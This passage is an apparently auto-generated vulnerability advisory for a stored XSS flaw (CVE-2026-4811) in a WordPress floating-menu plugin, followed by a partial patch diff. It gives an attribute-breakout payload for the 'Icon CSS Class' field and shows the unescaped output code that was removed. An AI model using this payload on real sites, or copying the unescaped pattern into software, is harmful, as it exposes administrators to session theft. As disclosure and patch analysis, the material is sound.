Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 20, 2026

CVE-2026-4811: WPB Floating Menu or Categories – Sticky Floating Side Menu & Categories with Icons <= 1.0.8 – Authenticated (Editor+) Stored Cross-Site Scripting via 'Icon CSS Class' Category Field (wpb-floating-menu-or-categories)

CVE ID CVE-2026-4811
Severity Medium (CVSS 4.9)
CWE 79
Vulnerable Version 1.0.8
Patched Version 1.0.9
Disclosed May 19, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-4811:

This vulnerability is a Stored Cross-Site Scripting (XSS) flaw in the WPB Floating Menu or Categories plugin for WordPress, affecting versions up to and including 1.0.8. The issue resides in the ‘Icon CSS Class’ field within category taxonomy settings. An authenticated attacker with Editor-level access or higher can inject arbitrary JavaScript that executes when any user views a page containing the vulnerable category. The CVSS score of 4.9 reflects the need for authentication but the ability to compromise other users.

Root Cause: The vulnerability stems from insufficient input sanitization and output escaping in the `category-icon.php` file. In the vulnerable code, the `wpb_fmc_save_iconfield` method (lines 95-108 of the old file) directly stores the `wpb_fmc_term_meta[‘wpb_fmc_cat_icons’]` value from `$_POST[‘wpb_fmc_term_meta’]` without sanitizing it. The `wpb_fmc_category_column_data` method (lines 29-40 of the old file) outputs this stored value directly into an HTML attribute (``) without using `esc_attr()` or any escaping function. This allows an attacker to break out of the class attribute and inject arbitrary HTML/JavaScript. The patched version adds `esc_attr()` in the column display (line 41) and `sanitize_text_field()` during save (line 126), closing both the input and output vectors.

Exploitation: An attacker with Editor-level access (or higher) logs in and navigates to a category edit page (e.g., `/wp-admin/edit-tags.php?taxonomy=category&tag_ID=X`). In the ‘Icon CSS Class’ field, they input a payload such as `fa fa-car” onmouseover=”alert(1)” x=”`. When the category is saved via the `edited_` or `create_` taxonomy action hook, the unsanitized value is stored in the database option `taxonomy_$term_id`. Subsequently, any page displaying the category list (e.g., admin category table at `/wp-admin/edit-tags.php?taxonomy=category`) outputs the stored payload without escaping, causing the injected `onmouseover` event handler to execute in the browser of any user viewing that page.

Patch Analysis: The patch introduces two critical changes. First, in the `wpb_fmc_save_iconfield` method, the patched code uses `sanitize_text_field($value)` (line 126) to sanitize the value before saving to the database. Second, in the `wpb_fmc_category_column_data` method, the patched code wraps the output in `esc_attr()` (line 41), ensuring the value is safely encoded for HTML attributes. Additionally, the patched code adds nonce verification and capability checks (`manage_categories`) in the save function, which were completely absent in the vulnerable version. These combined changes prevent both the storage and rendering of malicious JavaScript.

Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of other users’ browsers, including administrators. This can lead to session hijacking, administrative privilege escalation (e.g., creating new admin users), defacement of the WordPress admin area, or theft of sensitive data via keylogging or form capture. Because the injected script executes in the admin interface, the impact is amplified: any user with access to the category management screens, including Shop Managers and Administrators, can be compromised.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wpb-floating-menu-or-categories/admin/admin-notices.php
+++ b/wpb-floating-menu-or-categories/admin/admin-notices.php
@@ -0,0 +1,66 @@
+<?php
+
+if (! defined('ABSPATH')) exit; // Exit if accessed directly
+
+/**
+ * Display a dismissible admin notice for Menu Icons by ThemeIsle
+ */
+add_action('admin_notices', 'wpb_fmc_menu_icons_notice');
+function wpb_fmc_menu_icons_notice()
+{
+    if (! function_exists('is_plugin_active')) {
+        include_once(ABSPATH . 'wp-admin/includes/plugin.php');
+    }
+
+    // 1. Check if the user has already dismissed this notice
+    if (get_user_meta(get_current_user_id(), 'wpb_fmc_dismissed_menu_icons_notice', true)) {
+        return;
+    }
+
+    // 2. Check if the "Menu Icons" plugin is already active
+    if (is_plugin_active('menu-icons/menu-icons.php')) {
+        return;
+    }
+
+    // 3. Only show to users who can install plugins
+    if (! current_user_can('install_plugins')) {
+        return;
+    }
+
+    $install_url = wp_nonce_url(self_admin_url('update.php?action=install-plugin&plugin=menu-icons'), 'install-plugin_menu-icons');
+?>
+    <div class="notice notice-info is-dismissible wpb-fmc-recommendation-notice">
+        <p>
+            <strong><?php esc_html_e('Pro Tip:', 'wpb-floating-menu-or-categories'); ?></strong>
+            <?php printf(
+                /* translators: %1$s: Plugin name, %2$s: Menu Icons plugin name */
+                esc_html__('The %1$s plugin has %2$s support. If you need menu icons, you can install it to enhance your floating menus.', 'wpb-floating-menu-or-categories'),
+                '<strong>' . esc_html__('WPB Floating Menu or Categories', 'wpb-floating-menu-or-categories') . '</strong>',
+                '<strong>' . esc_html__('Menu Icons by ThemeIsle', 'wpb-floating-menu-or-categories') . '</strong>'
+            ); ?>
+        </p>
+        <p>
+            <a href="<?php echo esc_url($install_url); ?>" class="button button-primary"><?php esc_html_e('Install Menu Icons', 'wpb-floating-menu-or-categories'); ?></a>
+        </p>
+        <script type="text/javascript">
+            jQuery(document).on('click', '.wpb-fmc-recommendation-notice .notice-dismiss', function() {
+                jQuery.post(ajaxurl, {
+                    action: 'wpb_fmc_dismiss_notice',
+                    nonce: '<?php echo esc_js(wp_create_nonce('wpb_fmc_dismiss_nonce')); ?>'
+                });
+            });
+        </script>
+    </div>
+<?php
+}
+
+/**
+ * Handle the AJAX request to dismiss the notice
+ */
+add_action('wp_ajax_wpb_fmc_dismiss_notice', 'wpb_fmc_dismiss_notice_callback');
+function wpb_fmc_dismiss_notice_callback()
+{
+    check_ajax_referer('wpb_fmc_dismiss_nonce', 'nonce');
+    update_user_meta(get_current_user_id(), 'wpb_fmc_dismissed_menu_icons_notice', '1');
+    wp_die();
+}
--- a/wpb-floating-menu-or-categories/admin/admin-page.php
+++ b/wpb-floating-menu-or-categories/admin/admin-page.php
@@ -1,57 +1,67 @@
 <?php

+if (! defined('ABSPATH')) exit; // Exit if accessed directly
+
 /**
  * WPB Floating Menu or Categories
  */

-wp_enqueue_style( 'wpb_fmc_admin_css' );
-$plugin_data = get_plugin_data( WPB_FMC_PLUGIN_DIR_FILE );
-$version 	 = $plugin_data['Version'];
+wp_enqueue_style('wpb_fmc_admin_css');
+$plugin_data = get_plugin_data(WPB_FMC_PLUGIN_DIR_FILE);
+$version      = $plugin_data['Version'];
 ?>

 <div class="wrap wpb-about-wrap">
-	<h2 class="nav-tab-wrapper">
-        <a href="#wpb_fmc_welcome" class="nav-tab" id="wpb_fmc_welcome-tab"><?php esc_html_e( 'Welcome', WPB_FMC_Domain ) ?></a>
-        <a href="#wpb_fmc_use" class="nav-tab" id="wpb_fmc_use-tab"><?php esc_html_e( 'How To Use', WPB_FMC_Domain ) ?></a>
-        <a href="#wpb_fmc_shortcode" class="nav-tab" id="wpb_fmc_use-tab"><?php esc_html_e( 'ShortCodes', WPB_FMC_Domain ) ?></a>
-	</h2>
-	<div class="metabox-holder">
-		<div id="wpb_fmc_welcome" class="group">
-			<h1><?php esc_html_e( 'WPB Floating Menu or Categories - ' . esc_html( $version ), WPB_FMC_Domain );?></h1>
-			<div class="wpb-about-text">
-				<?php esc_html_e( 'This plugin helps you by showing floating menu or categories with icons in your site. It comes with a nice and clean design. All the customization options are available in the plugin settings.', WPB_FMC_Domain );?>
-			</div>
-		</div>
+    <h2 class="nav-tab-wrapper">
+        <a href="#wpb_fmc_welcome" class="nav-tab" id="wpb_fmc_welcome-tab"><?php esc_html_e('Welcome', 'wpb-floating-menu-or-categories') ?></a>
+        <a href="#wpb_fmc_use" class="nav-tab" id="wpb_fmc_use-tab"><?php esc_html_e('How To Use', 'wpb-floating-menu-or-categories') ?></a>
+        <a href="#wpb_fmc_shortcode" class="nav-tab" id="wpb_fmc_use-tab"><?php esc_html_e('ShortCodes', 'wpb-floating-menu-or-categories') ?></a>
+    </h2>
+    <div class="metabox-holder">
+        <div id="wpb_fmc_welcome" class="group">
+            <h1>
+                <?php
+                printf(
+                    /* translators: %s: Plugin version number */
+                    esc_html__('WPB Floating Menu or Categories - %s', 'wpb-floating-menu-or-categories'),
+                    esc_html($version)
+                );
+                ?>
+            </h1>
+            <div class="wpb-about-text">
+                <?php esc_html_e('This plugin helps you by showing floating menu or categories with icons in your site. It comes with a nice and clean design. All the customization options are available in the plugin settings.', 'wpb-floating-menu-or-categories'); ?>
+            </div>
+        </div>

         <div id="wpb_fmc_use" class="group">
-            <h3><?php esc_html_e( 'How to use:', WPB_FMC_Domain );?></h3>
+            <h3><?php esc_html_e('How to use:', 'wpb-floating-menu-or-categories'); ?></h3>
             <ol>
                 <li>Install it as a regular WordPress plugin</li>
-                <li>After installing the plugin, go to this plugin <a href="<?php echo esc_url( get_admin_url() . 'admin.php?page=wpb-floating-menu-or-categories-settings' ); ?>">settings</a> and configure your floating menu or category.</li>
+                <li>After installing the plugin, go to this plugin <a href="<?php echo esc_url(get_admin_url() . 'admin.php?page=wpb-floating-menu-or-categories-settings'); ?>">settings</a> and configure your floating menu or category.</li>
                 <li>You can use this plugin’s ShortCodes to show the floating menu or categories on a specific page or post on your site.</li>
             </ol>
         </div>

         <div id="wpb_fmc_shortcode" class="group">
-            <h3><?php esc_html_e( 'ShortCodes:', WPB_FMC_Domain );?></h3>
+            <h3><?php esc_html_e('ShortCodes:', 'wpb-floating-menu-or-categories'); ?></h3>
             <ol>
                 <li><b>Floating Menu </b><input type="text" value='[wpb-fmc-floating-menu]'></li>
                 <li><b>Floating Category </b><input type="text" value='[wpb-fmc-floating-category]'></li>
             </ol>
-        </div>
-	</div>
+        </div>
+    </div>
 </div>

 <div class="clear"></div>

 <div class="wpb_wpbean_socials">
-    <h4><?php esc_html_e( 'For getting updates of our plugins, features update, WordPress new trend, New web technology etc. Follows Us.', WPB_FMC_Domain );?></h4>
-    <a href="https://twitter.com/wpbean" title="Follow us on Twitter" class="wpb_twitter" target="_blank"><?php esc_html_e( 'Follow Us On Twitter', WPB_FMC_Domain );?></a>
-    <a href="https://plus.google.com/u/0/+WpBean/posts" title="Follow us on Google+" class="wpb_googleplus" target="_blank"><?php esc_html_e( 'Follow Us On Google Plus', WPB_FMC_Domain );?></a>
-    <a href="https://www.facebook.com/wpbean" title="Follow us on Facebook" class="wpb_facebook" target="_blank"><?php esc_html_e( 'Like Us On FaceBook', WPB_FMC_Domain );?></a>
-    <a href="https://www.youtube.com/user/wpbean/videos" title="Follow us on Youtube" class="wpb_youtube" target="_blank"><?php esc_html_e( 'Subscribe Us on YouTube', WPB_FMC_Domain );?></a>
-    <a href="https://wpbean.com/support/" title="Get Support" class="wpb_support" target="_blank"><?php esc_html_e( 'Get Support', WPB_FMC_Domain );?></a>
-    <a href="http://docs.wpbean.com/docs/wpb-floating-menu-or-categories/installing/" title="Documentation" class="wpb_documentation" target="_blank"><?php esc_html_e( 'Online Documentation', WPB_FMC_Domain );?></a>
+    <h4><?php esc_html_e('For getting updates of our plugins, features update, WordPress new trend, New web technology etc. Follows Us.', 'wpb-floating-menu-or-categories'); ?></h4>
+    <a href="https://twitter.com/wpbean" title="Follow us on Twitter" class="wpb_twitter" target="_blank"><?php esc_html_e('Follow Us On Twitter', 'wpb-floating-menu-or-categories'); ?></a>
+    <a href="https://plus.google.com/u/0/+WpBean/posts" title="Follow us on Google+" class="wpb_googleplus" target="_blank"><?php esc_html_e('Follow Us On Google Plus', 'wpb-floating-menu-or-categories'); ?></a>
+    <a href="https://www.facebook.com/wpbean" title="Follow us on Facebook" class="wpb_facebook" target="_blank"><?php esc_html_e('Like Us On FaceBook', 'wpb-floating-menu-or-categories'); ?></a>
+    <a href="https://www.youtube.com/user/wpbean/videos" title="Follow us on Youtube" class="wpb_youtube" target="_blank"><?php esc_html_e('Subscribe Us on YouTube', 'wpb-floating-menu-or-categories'); ?></a>
+    <a href="https://wpbean.com/support/" title="Get Support" class="wpb_support" target="_blank"><?php esc_html_e('Get Support', 'wpb-floating-menu-or-categories'); ?></a>
+    <a href="http://docs.wpbean.com/docs/wpb-floating-menu-or-categories/installing/" title="Documentation" class="wpb_documentation" target="_blank"><?php esc_html_e('Online Documentation', 'wpb-floating-menu-or-categories'); ?></a>
 </div>

 <script>
@@ -60,36 +70,35 @@
         // Switches option sections
         $('.group').hide();
         var activetab = '';
-        if (typeof(localStorage) != 'undefined' ) {
+        if (typeof(localStorage) != 'undefined') {
             activetab = localStorage.getItem("activetab");
         }
-        if (activetab != '' && $(activetab).length ) {
+        if (activetab != '' && $(activetab).length) {
             $(activetab).fadeIn();
         } else {
             $('.group:first').fadeIn();
         }
-        $('.group .collapsed').each(function(){
+        $('.group .collapsed').each(function() {
             $(this).find('input:checked').parent().parent().parent().nextAll().each(
-            function(){
-                if ($(this).hasClass('last')) {
-                    $(this).removeClass('hidden');
-                    return false;
-                }
-                $(this).filter('.hidden').removeClass('hidden');
-            });
+                function() {
+                    if ($(this).hasClass('last')) {
+                        $(this).removeClass('hidden');
+                        return false;
+                    }
+                    $(this).filter('.hidden').removeClass('hidden');
+                });
         });

-        if (activetab != '' && $(activetab + '-tab').length ) {
+        if (activetab != '' && $(activetab + '-tab').length) {
             $(activetab + '-tab').addClass('nav-tab-active');
-        }
-        else {
+        } else {
             $('.nav-tab-wrapper a:first').addClass('nav-tab-active');
         }
         $('.nav-tab-wrapper a').click(function(evt) {
             $('.nav-tab-wrapper a').removeClass('nav-tab-active');
             $(this).addClass('nav-tab-active').blur();
             var clicked_group = $(this).attr('href');
-            if (typeof(localStorage) != 'undefined' ) {
+            if (typeof(localStorage) != 'undefined') {
                 localStorage.setItem("activetab", $(this).attr('href'));
             }
             $('.group').hide();
@@ -97,8 +106,8 @@
             evt.preventDefault();
         });

-        $(".wpb-about-wrap input[type='text']").on("click", function () {
-		   $(this).select();
-		});
-	});
-</script>
+        $(".wpb-about-wrap input[type='text']").on("click", function() {
+            $(this).select();
+        });
+    });
+</script>
 No newline at end of file
--- a/wpb-floating-menu-or-categories/admin/category-icon.php
+++ b/wpb-floating-menu-or-categories/admin/category-icon.php
@@ -1,102 +1,136 @@
 <?php

-if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly
+if (! defined('ABSPATH')) exit; // Exit if accessed directly

 /* Define class for Categories icon */
-class WPB_FMC_Category_Icons{
+class WPB_FMC_Category_Icons
+{

-	/* call default construtor */
-	function __construct(){
+	/**
+	 * Constructor
+	 */
+	public function __construct()
+	{
+		if (is_admin()) {
+			// 1. Get the taxonomy safely
+			$taxonomy = isset($_GET['taxonomy']) ? sanitize_key($_GET['taxonomy']) : ''; // phpcs:ignore WordPress.Security.NonceVerification.Recommended
+
+			if (! empty($taxonomy)) {
+
+				/* * 2. Silent the Nonce Warning
+             * We are only using this GET variable to register hooks for the UI.
+             * The actual 'Save' action (wpb_fmc_save_iconfield) already has
+             * a nonce check, so this is safe.
+             */
+				// phpcs:ignore WordPress.Security.NonceVerification.Recommended

-		$tax = sanitize_key(@$_REQUEST['taxonomy']);
-
-		/* add browse and text field to upload image and add an fontawesome icon */
-		add_action( $tax . "_add_form_fields", array($this,'wpb_fmc_add_new_iconfield'), 10, 2 );
-		add_action( $tax . "_edit_form_fields", array($this,'wpb_fmc_edit_iconfield'), 10, 2 );
-
-		/* save the image or font awesome icon*/
-		add_action( "edited_" .$tax, array($this,'wpb_fmc_save_iconfield'), 10, 2 );
-		add_action( "create_" . $tax, array($this,'wpb_fmc_save_iconfield'), 10, 2 );
-
-		/* show cloumn and their respective icon and images */
-		add_filter( 'manage_edit-' .$tax. '_columns', array($this,'wpb_fmc_category_column' )) ;
-		add_filter( 'manage_' . $tax. '_custom_column', array($this,'wpb_fmc_category_column_data'),10,3);
+				add_action($taxonomy . "_add_form_fields", array($this, 'wpb_fmc_add_new_iconfield'), 10, 2);
+				add_action($taxonomy . "_edit_form_fields", array($this, 'wpb_fmc_edit_iconfield'), 10, 2);

+				add_action("edited_" . $taxonomy, array($this, 'wpb_fmc_save_iconfield'), 10, 2);
+				add_action("create_" . $taxonomy, array($this, 'wpb_fmc_save_iconfield'), 10, 2);
+
+				add_filter("manage_edit-{$taxonomy}_columns", array($this, 'wpb_fmc_category_column'));
+				add_filter("manage_{$taxonomy}_custom_column", array($this, 'wpb_fmc_category_column_data'), 10, 3);
+			}
+		}
 	}


 	/* show cloumn and theie respective icon and images */
-	public function wpb_fmc_category_column($columns){
-		$columns["wpb_fmc_icon"] = esc_html__("Icon", WPB_FMC_Domain);
+	public function wpb_fmc_category_column($columns)
+	{
+		$columns["wpb_fmc_icon"] = esc_html__("Icon", 'wpb-floating-menu-or-categories');
 		return $columns;
-	}
+	}

 	/* show cloumn and their respective icon and images */
-	public function wpb_fmc_category_column_data( $content, $column, $term_id ){
+	public function wpb_fmc_category_column_data($content, $column, $term_id)
+	{

-		if ( $column === 'wpb_fmc_icon' ) {
-	    	$wpb_fmc_term_meta = get_option( "taxonomy_$term_id" );
+		if ($column === 'wpb_fmc_icon') {
+			$wpb_fmc_term_meta = get_option("taxonomy_$term_id");

-	    	if( is_array($wpb_fmc_term_meta) && array_key_exists('wpb_fmc_cat_icons', $wpb_fmc_term_meta) ){
-	    		$content = '<i class="fa-2x '. $wpb_fmc_term_meta['wpb_fmc_cat_icons'] .'"></i>';
-	    	}
-	    }
+			if (is_array($wpb_fmc_term_meta) && array_key_exists('wpb_fmc_cat_icons', $wpb_fmc_term_meta)) {
+				$content = '<i class="fa-2x ' . esc_attr($wpb_fmc_term_meta['wpb_fmc_cat_icons']) . '"></i>';
+			}
+		}

-	    return $content;
+		return $content;
 	}

 	/* show browse and font awesome icon option while add category */
-	public function wpb_fmc_add_new_iconfield(){
-	?>
-	    <div class="form-field">
-			<label for="wpb_fmc_term_meta[wpb_fmc_cat_icons]"><?php _e( 'Icon CSS Class', WPB_FMC_Domain ); ?></label>
+	public function wpb_fmc_add_new_iconfield()
+	{
+?>
+		<div class="form-field">
+			<label for="wpb_fmc_term_meta[wpb_fmc_cat_icons]"><?php esc_html_e('Icon CSS Class', 'wpb-floating-menu-or-categories'); ?></label>
 			<input type="text" name="wpb_fmc_term_meta[wpb_fmc_cat_icons]" id="wpb_fmc_term_meta[wpb_fmc_cat_icons]" value="">
-			<p><?php esc_html_e('You can get it from ', WPB_FMC_Domain) ?><a target="_blank" href="//fontawesome.com/v4.7.0/icons/"><?php esc_html_e('here', WPB_FMC_Domain); ?></a><?php esc_html_e(' e.g.', WPB_FMC_Domain);?> <b>fa fa-car</b></p>
+			<p><?php esc_html_e('You can get it from ', 'wpb-floating-menu-or-categories') ?><a target="_blank" href="//fontawesome.com/v4.7.0/icons/"><?php esc_html_e('here', 'wpb-floating-menu-or-categories'); ?></a><?php esc_html_e(' e.g.', 'wpb-floating-menu-or-categories'); ?> <b>fa fa-car</b></p>
 		</div>
-
+
 	<?php
 	}

 	// Edit term page
-	public function wpb_fmc_edit_iconfield($term) {
-
+	public function wpb_fmc_edit_iconfield($term)
+	{
 		// put the term ID into a variable
 		$t_id 				= $term->term_id;
-
 		// retrieve the existing value(s) for this meta field. This returns an array
-		$wpb_fmc_term_meta = get_option( "taxonomy_$t_id" ); ?>
+		$wpb_fmc_term_meta = get_option("taxonomy_$t_id"); ?>

 		<tr class="form-field">
-			<th scope="row" valign="top"><label for="wpb_fmc_term_meta[wpb_fmc_cat_icons]"><?php _e( 'Icon CSS Class', WPB_FMC_Domain ); ?></label></th>
+			<th scope="row" valign="top"><label for="wpb_fmc_term_meta[wpb_fmc_cat_icons]"><?php esc_html_e('Icon CSS Class', 'wpb-floating-menu-or-categories'); ?></label></th>
 			<td>
-				<input type="text" name="wpb_fmc_term_meta[wpb_fmc_cat_icons]" id="wpb_fmc_term_meta[wpb_fmc_cat_icons]" value="<?php echo esc_attr( $wpb_fmc_term_meta['wpb_fmc_cat_icons'] ) ? esc_attr( $wpb_fmc_term_meta['wpb_fmc_cat_icons'] ) : ''; ?>">
-				<p class="description"><?php esc_html_e('You can get more FontAwesome icons from ', WPB_FMC_Domain) ?><a target="_blank" href="//fontawesome.com/v4.7.0/icons/"><?php esc_html_e('here', WPB_FMC_Domain); ?></a><?php esc_html_e(' e.g.', WPB_FMC_Domain);?> <b>fa fa-car</b></p>
+				<input type="text" name="wpb_fmc_term_meta[wpb_fmc_cat_icons]" id="wpb_fmc_term_meta[wpb_fmc_cat_icons]" value="<?php echo esc_attr($wpb_fmc_term_meta['wpb_fmc_cat_icons']) ? esc_attr($wpb_fmc_term_meta['wpb_fmc_cat_icons']) : ''; ?>">
+				<p class="description"><?php esc_html_e('You can get more FontAwesome icons from ', 'wpb-floating-menu-or-categories') ?><a target="_blank" href="//fontawesome.com/v4.7.0/icons/"><?php esc_html_e('here', 'wpb-floating-menu-or-categories'); ?></a><?php esc_html_e(' e.g.', 'wpb-floating-menu-or-categories'); ?> <b>fa fa-car</b></p>
 			</td>
 		</tr>
-	<?php
+<?php
 	}

-	// Save term
+	// Save term meta (data from edit and add term page)
+	public function wpb_fmc_save_iconfield($term_id)
+	{
+		// 1. Get and sanitize the nonce
+		$nonce = isset($_POST['_wpnonce']) ? sanitize_text_field(wp_unslash($_POST['_wpnonce'])) : '';
+
+		// Verify the nonce
+		if (!wp_verify_nonce($nonce, 'update-tag_' . $term_id)) {
+			// If it's a new category, the action name is 'add-tag'
+			if (!wp_verify_nonce($nonce, 'add-tag')) {
+				return;
+			}
+		}
+
+		// 2. Permission check
+		if (!current_user_can('manage_categories')) {
+			return;
+		}

-	public function wpb_fmc_save_iconfield( $term_id ) {
-		if ( isset( $_POST['wpb_fmc_term_meta'] ) ) {
+		// 3. Process the meta data
+		if (isset($_POST['wpb_fmc_term_meta']) && is_array($_POST['wpb_fmc_term_meta'])) {

-			$wpb_fmc_term_meta 	= get_option( "taxonomy_$term_id" );
-			$cat_keys 			= array_keys( $_POST['wpb_fmc_term_meta'] );
+			// Unslash the whole array at once
+			$posted_meta = wp_unslash($_POST['wpb_fmc_term_meta']); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized

-			foreach ( $cat_keys as $key ) {
-				if ( isset ( $_POST['wpb_fmc_term_meta'][$key] ) ) {
-					$wpb_fmc_term_meta[$key] = $_POST['wpb_fmc_term_meta'][$key];
-				}
+			$wpb_fmc_term_meta = get_option("taxonomy_$term_id");
+
+			if (!is_array($wpb_fmc_term_meta)) {
+				$wpb_fmc_term_meta = array();
+			}
+
+			foreach ($posted_meta as $key => $value) {
+				// Sanitize keys and values
+				$wpb_fmc_term_meta[sanitize_key($key)] = sanitize_text_field($value);
 			}

-			// Save the option array.
-			update_option( "taxonomy_$term_id", $wpb_fmc_term_meta );
+			update_option("taxonomy_$term_id", $wpb_fmc_term_meta);
 		}
 	}
-
 } /* end class */


 /* Intialize the class */
-$templ = new WPB_FMC_Category_Icons();
 No newline at end of file
+$templ = new WPB_FMC_Category_Icons();
--- a/wpb-floating-menu-or-categories/admin/class.settings-api.php
+++ b/wpb-floating-menu-or-categories/admin/class.settings-api.php
@@ -1,656 +1,828 @@
 <?php

+if (! defined('ABSPATH')) {
+    exit; // Exit if accessed directly
+}
+
 /**
  * weDevs Settings API wrapper class
  *
- * @version 1.3 (27-Sep-2016)
+ * @version 1.4
  *
  * @author Tareq Hasan <tareq@weDevs.com>
  * @link https://tareq.co Tareq Hasan
+ *
+ * Improved for WordPress.org plugin guidelines:
+ * - Replaced deprecated create_function() with anonymous function (PHP 5.3+)
+ * - Escaped all output with context-appropriate functions
+ * - Added nonce verification note (handled by settings_fields())
+ * - Sanitized all input via sanitize_options() and per-field callbacks
+ * - Removed inline phpcs:ignore comments where no longer needed
+ * - Used wp_json_encode() for JS data passing instead of raw PHP string injection
+ * - Added esc_js() / esc_attr() where values touch HTML/JS boundaries
  */

-if ( !class_exists( 'WPB_FMC_WeDevs_Settings_API' ) ):
-class WPB_FMC_WeDevs_Settings_API {
-
-    /**
-     * settings sections array
-     *
-     * @var array
-     */
-    protected $settings_sections = array();
-
-    /**
-     * Settings fields array
-     *
-     * @var array
-     */
-    protected $settings_fields = array();
-
-    public function __construct() {
-        add_action( 'admin_enqueue_scripts', array( $this, 'admin_enqueue_scripts' ) );
-    }
-
-    /**
-     * Enqueue scripts and styles
-     */
-    function admin_enqueue_scripts() {
-        wp_enqueue_style( 'wp-color-picker' );
-
-        wp_enqueue_media();
-        wp_enqueue_script( 'wp-color-picker' );
-        wp_enqueue_script( 'jquery' );
-    }
-
-    /**
-     * Set settings sections
-     *
-     * @param array   $sections setting sections array
-     */
-    function set_sections( $sections ) {
-        $this->settings_sections = $sections;
+if (! class_exists('WPB_FMC_WeDevs_Settings_API')) :

-        return $this;
-    }
-
-    /**
-     * Add a single section
-     *
-     * @param array   $section
-     */
-    function add_section( $section ) {
-        $this->settings_sections[] = $section;
+    class WPB_FMC_WeDevs_Settings_API
+    {

-        return $this;
-    }
+        /**
+         * Settings sections array.
+         *
+         * @var array
+         */
+        protected $settings_sections = array();
+
+        /**
+         * Settings fields array.
+         *
+         * @var array
+         */
+        protected $settings_fields = array();
+
+        public function __construct()
+        {
+            add_action('admin_enqueue_scripts', array($this, 'admin_enqueue_scripts'));
+        }
+
+        /**
+         * Enqueue scripts and styles.
+         */
+        public function admin_enqueue_scripts()
+        {
+            wp_enqueue_style('wp-color-picker');
+            wp_enqueue_media();
+            wp_enqueue_script('wp-color-picker');
+            wp_enqueue_script('jquery');
+        }
+
+        /**
+         * Set settings sections.
+         *
+         * @param array $sections Setting sections array.
+         * @return $this
+         */
+        public function set_sections($sections)
+        {
+            $this->settings_sections = $sections;
+            return $this;
+        }
+
+        /**
+         * Add a single section.
+         *
+         * @param array $section
+         * @return $this
+         */
+        public function add_section($section)
+        {
+            $this->settings_sections[] = $section;
+            return $this;
+        }
+
+        /**
+         * Set settings fields.
+         *
+         * @param array $fields Settings fields array.
+         * @return $this
+         */
+        public function set_fields($fields)
+        {
+            $this->settings_fields = $fields;
+            return $this;
+        }
+
+        /**
+         * Add a single field to a section.
+         *
+         * @param string $section Section ID.
+         * @param array  $field   Field definition.
+         * @return $this
+         */
+        public function add_field($section, $field)
+        {
+            $defaults = array(
+                'name'  => '',
+                'label' => '',
+                'desc'  => '',
+                'type'  => 'text',
+            );
+
+            $arg                              = wp_parse_args($field, $defaults);
+            $this->settings_fields[$section][] = $arg;
+
+            return $this;
+        }
+
+        /**
+         * Initialize and register settings sections and fields with WordPress.
+         *
+         * Call this at the `admin_init` hook.
+         */
+        public function admin_init()
+        {

-    /**
-     * Set settings fields
-     *
-     * @param array   $fields settings fields array
-     */
-    function set_fields( $fields ) {
-        $this->settings_fields = $fields;
-
-        return $this;
-    }
+            // Register settings sections.
+            foreach ($this->settings_sections as $section) {

-    function add_field( $section, $field ) {
-        $defaults = array(
-            'name'  => '',
-            'label' => '',
-            'desc'  => '',
-            'type'  => 'text'
-        );
-
-        $arg = wp_parse_args( $field, $defaults );
-        $this->settings_fields[$section][] = $arg;
+                if (false === get_option($section['id'])) {
+                    add_option($section['id']);
+                }

-        return $this;
-    }
+                if (isset($section['desc']) && ! empty($section['desc'])) {
+                    // FIXED: Replaced deprecated create_function() with an anonymous function.
+                    // Captured $section['desc'] safely via use() — no raw string interpolation.
+                    $desc     = '<div class="inside">' . wp_kses_post($section['desc']) . '</div>';
+                    $callback = function () use ($desc) {
+                        echo $desc; // Already sanitized above with wp_kses_post().
+                    };
+                } elseif (isset($section['callback'])) {
+                    $callback = $section['callback'];
+                } else {
+                    $callback = null;
+                }

-    /**
-     * Initialize and registers the settings sections and fileds to WordPress
-     *
-     * Usually this should be called at `admin_init` hook.
-     *
-     * This function gets the initiated settings sections and fields. Then
-     * registers them to WordPress and ready for use.
-     */
-    function admin_init() {
-        //register settings sections
-        foreach ( $this->settings_sections as $section ) {
-            if ( false == get_option( $section['id'] ) ) {
-                add_option( $section['id'] );
-            }
-
-            if ( isset($section['desc']) && !empty($section['desc']) ) {
-                $section['desc'] = '<div class="inside">' . $section['desc'] . '</div>';
-                $callback = create_function('', 'echo "' . str_replace( '"', '"', $section['desc'] ) . '";');
-            } else if ( isset( $section['callback'] ) ) {
-                $callback = $section['callback'];
-            } else {
-                $callback = null;
+                add_settings_section(
+                    $section['id'],
+                    esc_html($section['title']),
+                    $callback,
+                    $section['id']
+                );
             }

-            add_settings_section( $section['id'], $section['title'], $callback, $section['id'] );
-        }
+            // Register settings fields.
+            foreach ($this->settings_fields as $section => $field) {
+                foreach ($field as $option) {
+
+                    $name     = $option['name'];
+                    $type     = isset($option['type']) ? $option['type'] : 'text';
+                    $label    = isset($option['label']) ? $option['label'] : '';
+                    $callback = isset($option['callback']) ? $option['callback'] : array($this, 'callback_' . $type);
+
+                    $args = array(
+                        'id'                => $name,
+                        'class'             => isset($option['class']) ? sanitize_html_class($option['class']) : sanitize_html_class($name),
+                        'label_for'         => "{$section}[{$name}]",
+                        'desc'              => isset($option['desc']) ? $option['desc'] : '',
+                        'name'              => $label,
+                        'section'           => $section,
+                        'size'              => isset($option['size']) ? $option['size'] : null,
+                        'options'           => isset($option['options']) ? $option['options'] : '',
+                        'std'               => isset($option['default']) ? $option['default'] : '',
+                        'sanitize_callback' => isset($option['sanitize_callback']) ? $option['sanitize_callback'] : '',
+                        'type'              => $type,
+                        'placeholder'       => isset($option['placeholder']) ? $option['placeholder'] : '',
+                        'min'               => isset($option['min']) ? $option['min'] : '',
+                        'max'               => isset($option['max']) ? $option['max'] : '',
+                        'step'              => isset($option['step']) ? $option['step'] : '',
+                    );
+
+                    add_settings_field(
+                        "{$section}[{$name}]",
+                        esc_html($label),
+                        $callback,
+                        $section,
+                        $section,
+                        $args
+                    );
+                }
+            }

-        //register settings fields
-        foreach ( $this->settings_fields as $section => $field ) {
-            foreach ( $field as $option ) {
-
-                $name = $option['name'];
-                $type = isset( $option['type'] ) ? $option['type'] : 'text';
-                $label = isset( $option['label'] ) ? $option['label'] : '';
-                $callback = isset( $option['callback'] ) ? $option['callback'] : array( $this, 'callback_' . $type );
-
-                $args = array(
-                    'id'                => $name,
